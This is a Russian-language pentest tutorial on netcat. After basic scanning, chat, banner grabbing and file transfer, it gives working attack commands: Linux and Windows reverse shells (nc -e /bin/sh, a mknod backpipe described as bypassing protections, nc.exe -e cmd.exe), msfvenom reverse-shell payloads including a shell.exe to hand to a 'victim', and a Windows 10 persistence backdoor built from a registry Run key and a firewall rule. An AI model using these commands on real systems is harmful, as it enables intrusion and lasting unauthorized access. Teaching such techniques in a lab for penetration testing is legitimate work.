Netcat для пентестера
Этичный Хакер
Сегодня в этой статье мы рассмотрим одну из наиболее часто используемых сетевых утилит и узнаем, как другие фреймворки используют Netcat для создания сеанса.
Cодержание
- Вступление
- Базовые команды Netcat
- Сканирование портов (TCP сканирование)
- Сканирование портов (UDP сканирование)
- Чат
- Захват баннера
- Передача файла
- Обратное соединение Linux
- Рандомизированный порт
- Захват HTTP-баннера
- Обратное соединение Windows
- Закрепление в системе Windows 10
- Полезная нагрузка msfvenom с Netcat
Вступление
Netcat(ncat, nc), технически используемый как «nc» — это многофункциональная сетевая утилита, которая считывает и записывает данные в сети из командной строки. Ncat была написана для Nmap Project в качестве сильно улучшенной реинкарнации почтенной программы Netcat. Она использует TCP и UDP для коммуникации и создана быть надёжным движком для мгновенно подключения по сети к другим приложениям и пользователям. Ncat не только работает с IPv4 и IPv6, но и обеспечивает пользователя потенциально безграничным числом вариантов использования.
Среди большого количество числа функций Ncat, там имеется возможность выстраивать цепи из Ncat, перенаправляя TCP и UDP порты на другие сайты, поддержка SSL, поддержка соединений через прокси через SOCKS4 или HTTP прокси (метод CONNECT) (также с опциональной возможностью аутентификации). Некоторые общие принципы применимы к большинству приложений и, таким образом, дают вам возможность мгновенно добавлять сетевую поддержку к программному обеспечению, которое обычно никогда не поддерживает его.
Давайте попробуем копнуть глубже и выяснить, что еще можно сделать с помощью этого замечательного инструмента.
Базовые команды Netcat
«Help» или «h» - этот флаг используется для отображения всех возможностей инструмента. Чтобы начать с netcat, мы будем использовать самую простую команду справки, а именно:
nc -h

Сканирование портов
Netcat можно использовать как сканер портов, хотя он и не предназначен для работы в этом качестве. Чтобы сканировать с его помощью порты используется флаг «-z». Это позволяет понять, какой тип службы работает на этом конкретном порту. Таким образом, netcat может выполнять сканирование TCP и UDP, давайте посмотрим, как это сделать:
TCP сканирование
nc -v –n –z 192.168.60.133 21-100
[-v]: подробный режим
[-n]: IP-адреса, состоящие только из чисел, без DNS.
[-z]: указывает нулевой режим ввода/вывода (используется для сканирования)
Чтобы завершить это сканирование, нам нужно указать диапазон портов. На изображении ниже вы можете видеть, что я упомянул диапазон портов 21–100.

UDP сканирование
Мы даже можем сканировать порты UDP так же, как сканировали порты TCP. Здесь мы будем использовать флаг «–u», который вызовет режим UDP.
nc –vzu 192.168.60.133 68
В этом сценарии мы упомянули номер порта, а не диапазон. На изображении ниже вы можете видеть, что мы захватили работающую службу «bootpc» .

Чат
Netcat также можно использовать для общения двух пользователей. Но перед этим нам нужно установить соединение. Чтобы настроить все это, мы будем использовать два устройства - одно будет играть роль инициатора соединения, а другое - слушателя . Как только это соединение будет установлено, связь может быть осуществлена с обоих концов.
Давайте проверим этот сценарий, где два пользователя с разными операционными системами общаются друг с другом через установленное соединение Netcat.
Первоначально пользователю root pc необходимо настроить свой «прослушиватель» netcat через определенный порт, чтобы создать сетевое соединение. Для этого выполните следующую команду:
nc –lvp 1234
Вот,
[l]: режим прослушивания
[v]: подробный режим
[p]: локальный порт
Теперь пришло время настроить вторую машину, которая будет подключаться к первой, мы будем делать это от пользователя dvwa, просто предоставив IP-адрес системы, в которой мы запустили прослушиватель, а затем номер порта.
nc 192.168.60.130 1234

На изображении ниже вы можете видеть, что соединение было настроено, и теперь обе машины могут связываться друг с другом.

Захват баннера
Баннер - это текстовое сообщение, полученное от хоста, с информацией об открытых портах и службах, а также номера их версий.
Выполните следующую команду, чтобы получить целевые баннеры ftp и ssh :
nc 192.168.60.133 21 nc 192.168.60.133 22

Передача файла
Netcat предлагает нам возможность передавать файлы с одного устройства на другое по сети.
Давайте продолжим сценарий, в котором пользователь root pc передаст файл пользователю на машине dvwa.
Из приведенного ниже изображения пользователь на машине root pc устанавливает прослушиватель на порт номер 5555 и делится файлом file.txt с помощью параметра «<» .
nc –lvp 5555 < file.txt

Теперь пользователь, сидящий на машине dvwa, загрузит этот файл, выполнив следующую команду.
nc 192.168.60.130 5555 > file.txt
Из изображения ниже вы можете видеть, что пользователь dvwa успешно получил файл file.txt из 192.168.60.130, который является не чем иным, как IP-адресом пользователя root pc.

Обратное соединение Linux
Как обсуждалось ранее, netcat может выполнять все, что угодно, поэтому теперь мы попытаемся с помощью «msfvenom» создать полезную нагрузку и настроим прослушиватель netcat для захвата сеанса.
Попробуем создать полезную нагрузку с помощью следующей команды:
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.60.130 lport=6666 R
«R» в конце используется для генерации текстовой полезной нагрузки, которая будет отображена на экране.

Из изображения выше вы можете видеть, что наша полезная нагрузка готова, теперь пришло время запустить ее через сервер нашей жертвы.
Откроем машину dvwa и введем эту полезную нагрузку в терминал. Перед запуском вернитесь к машине злоумышленника (pc) и настройте там прослушиватель netcat, используя тот же номер порта, который вы использовали при генерации полезной нагрузки.

На изображении ниже вы можете видеть, что, как только жертва запустит полезную нагрузку, мы получим сеанс.

Еще одним популярным способом получения обратного подключения со стороны жертвы, является выполнение на ее машине команды:
nc -e /bin/sh 192.168.60.133 1234
Часто бывает так, что мы не можем захватить сеанс с помощью этих методов, из-за некоторых средств защиты, но есть другой способ получить обратное соединение.
Перед этим установите прослушиватель netcat на порт 443 :
Когда слушатель запустится, просто выполните следующие команды на машине жертвы:
mknod /tmp/backpipe p /bin/sh 0</tmp/backpipe | nc 192.168.60.130 443 1>/tmp/backpipe
Это поможет вам обойти механизм безопасности и получить сеанс netcat.

На изображении ниже вы можете видеть, что мы успешно получили оболочку жертвы.

Рандомизированный порт
Бывает, что мы не можем выбрать собственный порт для настройки прослушивателя или установления соединения netcat. Для этого у netcat есть специальный флаг «–r», который предоставит нам случайный локальный порт.
nc -lv –r
На изображении ниже вы можете видеть, что наш слушатель запущен на 35799.

Захват HTTP-баннера
HTTP-баннеры могут содержать информацию о сервере. Мы можем использовать netcat для сбора информации о любом веб-сервере.
Просто запустите следующую команду
printf "GET / HTTP/1.0\r\n\r\n" | nc 192.168.60.133 80
На изображении ниже вы можете видеть, что я успешно захватил HTTP-баннер, и нам представлен сервер Apache.

Обратное соединение Windows
Netcat аналогично можно использовать и в системе Windows.
Давайте сначала настроим слушателя на нашу машину pc:
nc –lvp 4444
Теперь выполните следующую команду в командной строке Windows жертвы, чтобы создать обратное подключение.
nc.exe 192.168.177.3 4444 -e cmd.exe

Пора вернуться к машине атакующего . На изображении ниже вы можете видеть, что мы находимся в командной оболочке жертвы.

Закрепление в системе Windows 10
Закрепление в системе играет важную роль для нападающего. Итак, давайте попробуем создать постоянно доступный бэкдор с использованием netcat и Metasploit framework на хост-машине, которую мы взломали.
На изображении ниже вы можете видеть, что я получил сеанс meterpreter на машине с Windows 10.
Теперь загрузим файл netcat.exe в system32 на компьютере жертвы, используя следующую команду:
upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32

Теперь настроим netcat на прослушивание любого случайного порта, например - 4445, запишем в реестр открытие порта при запуске системы и установим соединение.
Используйте следующую команду:
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v netcat -d 'C:\windows\system32\nc.exe -Ldp 4445 -e cmd.exe'

При успешном подключении к netcat мы получим reverse shell от ПК жертвы.
Теперь пришло время добавить новое правило к брандмауэру с именем «netcat», в котором входящее соединение через порт 4445
Для начала из meterpreter переходим в терминал Windows с помощью команды:
shell
А в нем вводим следующую команду:
netsh advfirewall firewall add rule name='netcat' dir=in action=allow protocol=Tcp localport=4445
Можно проверить режим и состояние порта, выполнив следующую команду:
netsh firewall show portopening
Итак, со всем этим мы закончили. Теперь, когда жертва снова перезагрузит систему, мы получим возможность подключения к ней. Выполняем следующую команду, чтобы подключить netcat через порт 4445 .
nc -nv 192.168.177.2 4445
Мы успешно создали постоянный бэкдор! Теперь, когда жертва загружается, у нас всегда будет ее сеанс.

Полезная нагрузка msfvenom с Netcat
Давайте узнаем, как мы можем подключиться к жертве через наш netcat, используя полезную нагрузку msfvenom.
Запустите терминал и выполните следующую команду, чтобы сгенерировать полезную нагрузку .exe
msfvenom -p windows/shell_reverse_tcp lhost=192.168.177.3 lport=3333 –f exe > shell.exe

Теперь включите Netcat на прослушку порта 3333.
Поделитесь этой сгенерированной полезной нагрузкой с жертвой, как только она откроет ее, вы получите обратное соединение.

На этом все. Благодарю за просмотр!